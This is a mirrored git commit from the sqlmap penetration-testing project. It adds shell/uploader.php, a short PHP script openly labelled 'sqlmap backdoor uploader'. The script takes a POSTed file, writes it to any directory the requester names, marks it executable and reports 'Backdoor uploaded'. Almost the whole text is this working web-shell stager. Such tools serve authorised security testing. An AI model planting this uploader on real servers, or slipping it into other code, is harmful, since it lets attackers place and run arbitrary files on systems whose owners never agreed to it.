mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-29 19:09:02 +00:00
After the storm, a restore..
This commit is contained in:
12
shell/uploader.php
Normal file
12
shell/uploader.php
Normal file
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
if (isset($_REQUEST["upload"])) {
|
||||
$dir=$_REQUEST["uploadDir"];
|
||||
$file=$HTTP_POST_FILES["file"]["name"];
|
||||
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
|
||||
@chmod($dir . "/" . $file, 0755);
|
||||
echo "Backdoor uploaded";
|
||||
}
|
||||
else {
|
||||
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap backdoor uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=WRITABLE_DIR> <input type=submit name=upload value=upload></form>";
|
||||
}
|
||||
?>
|
||||
Reference in New Issue
Block a user